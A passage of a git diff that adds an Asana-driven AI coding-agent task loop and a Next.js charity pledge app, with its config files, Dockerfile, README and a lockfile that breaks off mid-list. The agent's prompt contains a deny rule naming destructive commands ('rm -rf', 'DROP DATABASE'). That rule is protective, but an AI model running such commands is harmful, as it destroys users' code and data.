output.match(/EVIDENCE:\s*(.+)/is); + + const isDone = doneMatch ? doneMatch[1].toLowerCase() === "true" : false; + const evidence = evidenceMatch ? evidenceMatch[1].trim().substring(0, 1000) : output.substring(0, 1000); + + return { done: isDone, evidence }; + } catch (error: any) { + logger.error("task-loop", `Verification error: ${error.message}`); + return { done: false, evidence: `Verification error: ${error.message}` }; + } + } + + private async gitPull(projectDir: string, projectName: string) { + try { + const proc = Bun.spawn({ + cmd: ["git", "-C", projectDir, "pull", "--ff-only"], + stdout: "pipe", + stderr: "pipe", + }); + await proc.exited; + logger.debug("task-loop", `Git pull: ${projectName}`); + } catch { + logger.debug("task-loop", `Git pull failed for ${projectName}`); + } + } + + // ─── Section helpers ───────────────────────────────────────────────── + + private async findSectionCached(projectGid: string, sectionName: string): Promise { + const cached = this.sectionCache.get(projectGid); + let sections: AsanaSection[]; + + if (cached && Date.now() - cached.ts < this.SECTION_CACHE_TTL) { + sections = cached.sections; + } else { + sections = await this.asana.getSections(projectGid); + this.sectionCache.set(projectGid, { sections, ts: Date.now() }); + } + + return sections.find((s) => s.name.toLowerCase().includes(sectionName.toLowerCase())) || null; + } + + private async findDoneSection(projectGid: string): Promise { + for (const name of SECTIONS.DONE) { + const section = await this.findSectionCached(projectGid, name); + if (section) return section; + } + return null; + } + + private async findFirstSection(projectGid: string, names: string[]): Promise { + for (const name of names) { + const section = await this.findSectionCached(projectGid, name); + if (section) return section; + } + return null; + } + + private async getTasksFromSections(projectGid: string, sectionNames: string[]): Promise { + const allTasks: AsanaTask[] = []; + for (const name of sectionNames) { + const section = await this.findSectionCached(projectGid, name); + if (!section) continue; + const tasks = await this.asana.getSectionTasks(section.gid); + const incomplete = tasks.filter((t) => !t.completed); + allTasks.push(...incomplete); + } + return allTasks; + } + + // ─── Context building ─────────────────────────────────────────────── + + private buildTaskContext(task: AsanaTask, projectDir: string, projectName: string): string { + const parts = [ + `Asana Task: ${task.name}`, + task.notes ? `Description: ${task.notes}` : "", + task.due_on ? `Due: ${task.due_on}` : "", + task.tags?.length > 0 ? `Tags: ${task.tags.map((t) => t.name).join(", ")}` : "", + "", + `You are working on the "${projectName}" codebase.`, + `The code is at: ${projectDir}`, + "", + `IMPORTANT RULES:`, + `- Read relevant files before making any changes`, + `- Make small, focused changes that fix the specific bug`, + `- Test your changes (run type checks, linters, or curl endpoints)`, + `- Commit with a clear message referencing the Asana task`, + `- Do NOT modify .env files or credentials`, + `- Do NOT run destructive commands (rm -rf, DROP DATABASE)`, + `- If the bug is in the database data (not code), describe what SQL fix is needed but do NOT run it`, + ]; + return parts.filter(Boolean).join("\n"); + } +} diff --git a/pi-worker/tsconfig.json b/pi-worker/tsconfig.json new file mode 100644 index 0000000..9143401 --- /dev/null +++ b/pi-worker/tsconfig.json @@ -0,0 +1,15 @@ +{ + "compilerOptions": { + "target": "ESNext", + "module": "ESNext", + "moduleResolution": "bundler", + "types": ["bun-types"], + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "outDir": "dist", + "rootDir": "src", + "resolveJsonModule": true + }, + "include": ["src/**/*"] +} diff --git a/pledge-now-pay-later/.env.example b/pledge-now-pay-later/.env.example new file mode 100644 index 0000000..fe12ac4 --- /dev/null +++ b/pledge-now-pay-later/.env.example @@ -0,0 +1,7 @@ +DATABASE_URL=postgresql://user:password@localhost:5432/dbname +NEXTAUTH_SECRET=your-secret-here +NEXTAUTH_URL=http://localhost:3000 +GOCARDLESS_ACCESS_TOKEN=your-gocardless-token +GOCARDLESS_ENVIRONMENT=sandbox +REDIS_URL=redis://localhost:6379 +BASE_URL=http://localhost:3000 diff --git a/pledge-now-pay-later/.eslintrc.json b/pledge-now-pay-later/.eslintrc.json new file mode 100644 index 0000000..3722418 --- /dev/null +++ b/pledge-now-pay-later/.eslintrc.json @@ -0,0 +1,3 @@ +{ + "extends": ["next/core-web-vitals", "next/typescript"] +} diff --git a/pledge-now-pay-later/.gitignore b/pledge-now-pay-later/.gitignore new file mode 100644 index 0000000..2db86ff --- /dev/null +++ b/pledge-now-pay-later/.gitignore @@ -0,0 +1,43 @@ +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules +/.pnp +.pnp.js +.yarn/install-state.gz + +# testing +/coverage + +# next.js +/.next/ +/out/ + +# production +/build + +# misc +.DS_Store +*.pem + +# debug +npm-debug.log* +yarn-debug.log* +yarn-error.log* + +# local env files +.env +.env*.local + +# vercel +.vercel + +# typescript +*.tsbuildinfo +next-env.d.ts + +/src/generated/prisma + +# SQLite dev database +*.db +*.db-journal diff --git a/pledge-now-pay-later/Dockerfile b/pledge-now-pay-later/Dockerfile new file mode 100644 index 0000000..eed254d --- /dev/null +++ b/pledge-now-pay-later/Dockerfile @@ -0,0 +1,27 @@ +FROM node:20-alpine AS base + +FROM base AS deps +WORKDIR /app +COPY package.json package-lock.json ./ +RUN npm ci + +FROM base AS builder +WORKDIR /app +COPY --from=deps /app/node_modules ./node_modules +COPY . . +RUN npx prisma generate +RUN npm run build + +FROM base AS runner +WORKDIR /app +ENV NODE_ENV=production +RUN addgroup --system --gid 1001 nodejs +RUN adduser --system --uid 1001 nextjs +COPY --from=builder /app/public ./public +COPY --from=builder --chown=nextjs:nodejs /app/.next/standalone ./ +COPY --from=builder --chown=nextjs:nodejs /app/.next/static ./.next/static +COPY --from=builder /app/prisma ./prisma +USER nextjs +EXPOSE 3000 +ENV PORT=3000 +CMD ["node", "server.js"] diff --git a/pledge-now-pay-later/README.md b/pledge-now-pay-later/README.md new file mode 100644 index 0000000..e80a36f --- /dev/null +++ b/pledge-now-pay-later/README.md @@ -0,0 +1,139 @@ +# Pledge Now, Pay Later + +> Convert "I'll donate later" into tracked pledges with automatic payment follow-up. Free forever for UK charities. + +## Features + +- **15-Second Pledge Flow**: Mobile-first, 3-screen donor experience +- **QR Code Attribution**: Every pledge tied to event + volunteer/table +- **Pay by Bank Transfer**: Zero fees — unique reference for matching +- **Direct Debit**: GoCardless integration for automatic collection +- **Automated Reminders**: 4-step follow-up sequence (export/webhook) +- **Bank Statement Reconciliation**: Upload CSV, auto-match payments +- **CRM Export**: Full attribution data ready for import +- **Pipeline Dashboard**: Track pledges from new → paid + +## Quick Start + +### Prerequisites +- Node.js 18+ +- Docker & Docker Compose +- npm or pnpm + +### Setup + +```bash +# 1. Clone and install +cd pledge-now-pay-later +npm install + +# 2. Start database +docker compose up -d + +# 3. Run migrations +npx prisma migrate dev --name init + +# 4. Seed demo data +npx prisma db seed + +# 5. Start dev server +npm run dev +``` + +Visit [http://localhost:3000](http://localhost:3000) + +### Demo URLs +- **Landing**: http://localhost:3000 +- **Donor Flow**: http://localhost:3000/p/demo +- **Dashboard**: http://localhost:3000/dashboard + +## Tech Stack + +| Layer | Technology | +|-------|-----------| +| Frontend | Next.js 14 (App Router) | +| Language | TypeScript | +| Styling | Tailwind CSS + shadcn/ui | +| Database | PostgreSQL 16 | +| ORM | Prisma | +| QR Codes | qrcode (node) | +| CSV Parsing | PapaParse | +| Icons | Lucide React | +| Auth | NextAuth.js (ready) | + +## Architecture + +``` +src/ +├── app/ +│ ├── api/ # API routes +│ │ ├── analytics/ # Event tracking +│ │ ├── dashboard/ # Stats & pipeline +│ │ ├── events/ # CRUD + QR management +│ │ ├── exports/ # CRM pack CSV +│ │ ├── imports/ # Bank statement matching +│ │ ├── pledges/ # Create, update, mark paid +│ │ ├── qr/ # Resolve QR tokens +│ │ └── webhooks/ # Reminder event polling +│ ├── dashboard/ # Staff UI +│ │ ├── events/ # Event management + QR codes +│ │ ├── pledges/ # Pledge pipeline +│ │ ├── reconcile/ # Bank CSV import +│ │ ├── exports/ # Download CRM data +│ │ ├── settings/ # Org config +│ │ └── apply/ # Fractional CTO upsell +│ └── p/[token]/ # Donor pledge flow +│ └── steps/ # Amount → Payment → Identity → Instructions +├── components/ui/ # Reusable UI components +└── lib/ # Core utilities + ├── prisma.ts # DB client + ├── reference.ts # Bank-safe ref generator + ├── qr.ts # QR code generation + ├── matching.ts # Bank statement matching + ├── reminders.ts # Reminder sequences + ├── analytics.ts # Event tracking + ├── exports.ts # CRM export formatting + └── validators.ts # Zod schemas +``` + +## API Reference + +| Endpoint | Method | Purpose | +|----------|--------|---------| +| `/api/qr/{token}` | GET | Resolve QR code → event info | +| `/api/pledges` | POST | Create pledge | +| `/api/pledges/{id}` | PATCH | Update pledge status | +| `/api/pledges/{id}/mark-initiated` | POST | Donor "I've paid" | +| `/api/events` | GET/POST | List & create events | +| `/api/events/{id}/qr` | GET/POST | Manage QR sources | +| `/api/events/{id}/qr/{qrId}/download` | GET | Download QR PNG | +| `/api/dashboard` | GET | Dashboard stats | +| `/api/imports/bank-statement` | POST | Upload & match CSV | +| `/api/exports/crm-pack` | GET | Download CRM CSV | +| `/api/webhooks` | GET | Poll pending reminders | +| `/api/analytics` | POST | Track events | + +## Payment Reference Format + +References follow format: `PREFIX-XXXX-NN` +- **PREFIX**: Configurable per org (default: PNPL), max 4 chars +- **XXXX**: 4-char alphanumeric (human-safe: no 0/O, 1/I/l) +- **NN**: Amount in pounds (helps manual matching) +- Total max 18 chars (UK BACS limit) + +Example: `PNPL-7K4P-50` (£50 pledge) + +## Reminder Sequence + +| Step | Delay | Message | +|------|-------|---------| +| 0 | T+0 | Payment instructions with bank details | +| 1 | T+2 days | Gentle nudge | +| 2 | T+7 days | Impact story + urgency | +| 3 | T+14 days | Final reminder + easy cancel | + +Reminders auto-stop when pledge is marked paid. + +## License + +Proprietary — © Omair. All rights reserved. diff --git a/pledge-now-pay-later/bun.lock b/pledge-now-pay-later/bun.lock new file mode 100644 index 0000000..e105390 --- /dev/null +++ b/pledge-now-pay-later/bun.lock @@ -0,0 +1,1242 @@ +{ + "lockfileVersion": 1, + "configVersion": 0, + "workspaces": { + "": { + "name": "pledge-now-pay-later", + "dependencies": { + "@auth/prisma-adapter": "^2.11.1", + "@prisma/adapter-pg": "^7.4.2", + "@prisma/client": "^7.4.2", + "@types/bcryptjs": "^2.4.6", + "@types/qrcode": "^1.5.6", + "bcryptjs": "^3.0.3", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "date-fns": "^4.1.0", + "lucide-react": "^0.575.0", + "nanoid": "^5.1.6", + "next": "14.2.35", + "next-auth": "^4.24.13", + "papaparse": "^5.5.3", + "pg": "^8.19.0", + "prisma": "^7.4.2", + "qrcode": "^1.5.4", + "react": "^18", + "react-dom": "^18", + "tailwind-merge": "^3.5.0", + "zod": "^4.3.6", + }, + "devDependencies": { + "@types/node": "^20", + "@types/papaparse": "^5.5.2", + "@types/pg": "^8.18.0", + "@types/react": "^18", + "@types/react-dom": "^18", + "eslint": "^8", + "eslint-config-next": "14.2.35", + "postcss": "^8", + "tailwindcss": "^3.4.1", + "tsx": "^4.21.0", + "typescript": "^5", + }, + }, + }, + "packages": { + "@alloc/quick-lru": ["@alloc/quick-lru@5.2.0", "", {}, "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw=="], + + "@auth/core": ["@auth/core@0.41.1", "", { "dependencies": { "@panva/hkdf": "^1.2.1", "jose": "^6.0.6", "oauth4webapi": "^3.3.0", "preact": "10.24.3", "preact-render-to-string": "6.5.11" }, "peerDependencies": { "@simplewebauthn/browser": "^9.0.1", "@simplewebauthn/server": "^9.0.2", "nodemailer": "^7.0.7" }, "optionalPeers": ["@simplewebauthn/browser", "@simplewebauthn/server", "nodemailer"] }, "sha512-t9cJ2zNYAdWMacGRMT6+r4xr1uybIdmYa49calBPeTqwgAFPV/88ac9TEvCR85pvATiSPt8VaNf+Gt24JIT/uw=="], + + "@auth/prisma-adapter": ["@auth/prisma-adapter@2.11.1", "", { "dependencies": { "@auth/core": "0.41.1" }, "peerDependencies": { "@prisma/client": ">=2.26.0 || >=3 || >=4 || >=5 || >=6" } }, "sha512-Ke7DXP0Fy0Mlmjz/ZJLXwQash2UkA4621xCM0rMtEczr1kppLc/njCbUkHkIQ/PnmILjqSPEKeTjDPsYruvkug=="], + + "@babel/runtime": ["@babel/runtime@7.28.6", "", {}, "sha512-05WQkdpL9COIMz4LjTxGpPNCdlpyimKppYNoJ5Di5EUObifl8t4tuLuUBBZEpoLYOmfvIWrsp9fCl0HoPRVTdA=="], + + "@chevrotain/cst-dts-gen": ["@chevrotain/cst-dts-gen@10.5.0", "", { "dependencies": { "@chevrotain/gast": "10.5.0", "@chevrotain/types": "10.5.0", "lodash": "4.17.21" } }, "sha512-lhmC/FyqQ2o7pGK4Om+hzuDrm9rhFYIJ/AXoQBeongmn870Xeb0L6oGEiuR8nohFNL5sMaQEJWCxr1oIVIVXrw=="], + + "@chevrotain/gast": ["@chevrotain/gast@10.5.0", "", { "dependencies": { "@chevrotain/types": "10.5.0", "lodash": "4.17.21" } }, "sha512-pXdMJ9XeDAbgOWKuD1Fldz4ieCs6+nLNmyVhe2gZVqoO7v8HXuHYs5OV2EzUtbuai37TlOAQHrTDvxMnvMJz3A=="], + + "@chevrotain/types": ["@chevrotain/types@10.5.0", "", {}, "sha512-f1MAia0x/pAVPWH/T73BJVyO2XU5tI4/iE7cnxb7tqdNTNhQI3Uq3XkqcoteTmD4t1aM0LbHCJOhgIDn07kl2A=="], + + "@chevrotain/utils": ["@chevrotain/utils@10.5.0", "", {}, "sha512-hBzuU5+JjB2cqNZyszkDHZgOSrUUT8V3dhgRl8Q9Gp6dAj/H5+KILGjbhDpc3Iy9qmqlm/akuOI2ut9VUtzJxQ=="], + + "@electric-sql/pglite": ["@electric-sql/pglite@0.3.15", "", {}, "sha512-Cj++n1Mekf9ETfdc16TlDi+cDDQF0W7EcbyRHYOAeZdsAe8M/FJg18itDTSwyHfar2WIezawM9o0EKaRGVKygQ=="], + + "@electric-sql/pglite-socket": ["@electric-sql/pglite-socket@0.0.20", "", { "peerDependencies": { "@electric-sql/pglite": "0.3.15" }, "bin": { "pglite-server": "dist/scripts/server.js" } }, "sha512-J5nLGsicnD9wJHnno9r+DGxfcZWh+YJMCe0q/aCgtG6XOm9Z7fKeite8IZSNXgZeGltSigM9U/vAWZQWdgcSFg=="], + + "@electric-sql/pglite-tools": ["@electric-sql/pglite-tools@0.2.20", "", { "peerDependencies": { "@electric-sql/pglite": "0.3.15" } }, "sha512-BK50ZnYa3IG7ztXhtgYf0Q7zijV32Iw1cYS8C+ThdQlwx12V5VZ9KRJ42y82Hyb4PkTxZQklVQA9JHyUlex33A=="], + + "@emnapi/core": ["@emnapi/core@1.8.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.1.0", "tslib": "^2.4.0" } }, "sha512-AvT9QFpxK0Zd8J0jopedNm+w/2fIzvtPKPjqyw9jwvBaReTTqPBk9Hixaz7KbjimP+QNz605/XnjFcDAL2pqBg=="], + + "@emnapi/runtime": ["@emnapi/runtime@1.8.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-mehfKSMWjjNol8659Z8KxEMrdSJDDot5SXMq00dM8BN4o+CLNXQ0xH2V7EchNHV4RmbZLmmPdEaXZc5H2FXmDg=="], + + "@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.1.0", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ=="], + + "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.27.3", "", { "os": "aix", "cpu": "ppc64" }, "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg=="], + + "@esbuild/android-arm": ["@esbuild/android-arm@0.27.3", "", { "os": "android", "cpu": "arm" }, "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA=="], + + "@esbuild/android-arm64": ["@esbuild/android-arm64@0.27.3", "", { "os": "android", "cpu": "arm64" }, "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg=="], + + "@esbuild/android-x64": ["@esbuild/android-x64@0.27.3", "", { "os": "android", "cpu": "x64" }, "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ=="], + + "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.27.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg=="], + + "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.27.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg=="], + + "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.27.3", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w=="], + + "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.27.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA=="], + + "@esbuild/linux-arm": ["@esbuild/linux-arm@0.27.3", "", { "os": "linux", "cpu": "arm" }, "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw=="], + + "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.27.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg=="], + + "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.27.3", "", { "os": "linux", "cpu": "ia32" }, "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg=="], + + "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA=="], + + "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw=="], + + "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.27.3", "", { "os": "linux", "cpu": "ppc64" }, "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA=="], + + "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ=="], + + "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.27.3", "", { "os": "linux", "cpu": "s390x" }, "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw=="], + + "@esbuild/linux-x64": ["@esbuild/linux-x64@0.27.3", "", { "os": "linux", "cpu": "x64" }, "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA=="], + + "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.27.3", "", { "os": "none", "cpu": "arm64" }, "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA=="], + + "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.27.3", "", { "os": "none", "cpu": "x64" }, "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA=="], + + "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.27.3", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw=="], + + "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.27.3", "", { "os": "openbsd", "cpu": "x64" }, "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ=="], + + "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.27.3", "", { "os": "none", "cpu": "arm64" }, "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g=="], + + "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.27.3", "", { "os": "sunos", "cpu": "x64" }, "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA=="], + + "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.27.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA=="], + + "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.27.3", "", { "os": "win32", "cpu": "ia32" }, "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q=="], + + "@esbuild/win32-x64": ["@esbuild/win32-x64@0.27.3", "", { "os": "win32", "cpu": "x64" }, "sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA=="], + + "@eslint-community/eslint-utils": ["@eslint-community/eslint-utils@4.9.1", "", { "dependencies": { "eslint-visitor-keys": "^3.4.3" }, "peerDependencies": { "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" } }, "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ=="], + + "@eslint-community/regexpp": ["@eslint-community/regexpp@4.12.2", "", {}, "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew=="], + + "@eslint/eslintrc": ["@eslint/eslintrc@2.1.4", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^9.6.0", "globals": "^13.19.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ=="], + + "@eslint/js": ["@eslint/js@8.57.1", "", {}, "sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q=="], + + "@hono/node-server": ["@hono/node-server@1.19.9", "", { "peerDependencies": { "hono": "^4" } }, "sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw=="], + + "@humanwhocodes/config-array": ["@humanwhocodes/config-array@0.13.0", "", { "dependencies": { "@humanwhocodes/object-schema": "^2.0.3", "debug": "^4.3.1", "minimatch": "^3.0.5" } }, "sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw=="], + + "@humanwhocodes/module-importer": ["@humanwhocodes/module-importer@1.0.1", "", {}, "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA=="], + + "@humanwhocodes/object-schema": ["@humanwhocodes/object-schema@2.0.3", "", {}, "sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA=="], + + "@isaacs/cliui": ["@isaacs/cliui@8.0.2", "", { "dependencies": { "string-width": "^5.1.2", "string-width-cjs": "npm:string-width@^4.2.0", "strip-ansi": "^7.0.1", "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", "wrap-ansi": "^8.1.0", "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" } }, "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA=="], + + "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], + + "@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="], + + "@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="], + + "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], + + "@mrleebo/prisma-ast": ["@mrleebo/prisma-ast@0.13.1", "", { "dependencies": { "chevrotain": "^10.5.0", "lilconfig": "^2.1.0" } }, "sha512-XyroGQXcHrZdvmrGJvsA9KNeOOgGMg1Vg9OlheUsBOSKznLMDl+YChxbkboRHvtFYJEMRYmlV3uoo/njCw05iw=="], + + "@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@0.2.12", "", { "dependencies": { "@emnapi/core": "^1.4.3", "@emnapi/runtime": "^1.4.3", "@tybys/wasm-util": "^0.10.0" } }, "sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ=="], + + "@next/env": ["@next/env@14.2.35", "", {}, "sha512-DuhvCtj4t9Gwrx80dmz2F4t/zKQ4ktN8WrMwOuVzkJfBilwAwGr6v16M5eI8yCuZ63H9TTuEU09Iu2HqkzFPVQ=="], + + "@next/eslint-plugin-next": ["@next/eslint-plugin-next@14.2.35", "", { "dependencies": { "glob": "10.3.10" } }, "sha512-Jw9A3ICz2183qSsqwi7fgq4SBPiNfmOLmTPXKvlnzstUwyvBrtySiY+8RXJweNAs9KThb1+bYhZh9XWcNOr2zQ=="], + + "@next/swc-darwin-arm64": ["@next/swc-darwin-arm64@14.2.33", "", { "os": "darwin", "cpu": "arm64" }, "sha512-HqYnb6pxlsshoSTubdXKu15g3iivcbsMXg4bYpjL2iS/V6aQot+iyF4BUc2qA/J/n55YtvE4PHMKWBKGCF/+wA=="], + + "@next/swc-darwin-x64": ["@next/swc-darwin-x64@14.2.33", "", { "os": "darwin", "cpu": "x64" }, "sha512-8HGBeAE5rX3jzKvF593XTTFg3gxeU4f+UWnswa6JPhzaR6+zblO5+fjltJWIZc4aUalqTclvN2QtTC37LxvZAA=="], + + "@next/swc-linux-arm64-gnu": ["@next/swc-linux-arm64-gnu@14.2.33", "", { "os": "linux", "cpu": "arm64" }, "sha512-JXMBka6lNNmqbkvcTtaX8Gu5by9547bukHQvPoLe9VRBx1gHwzf5tdt4AaezW85HAB3pikcvyqBToRTDA4DeLw=="], + + 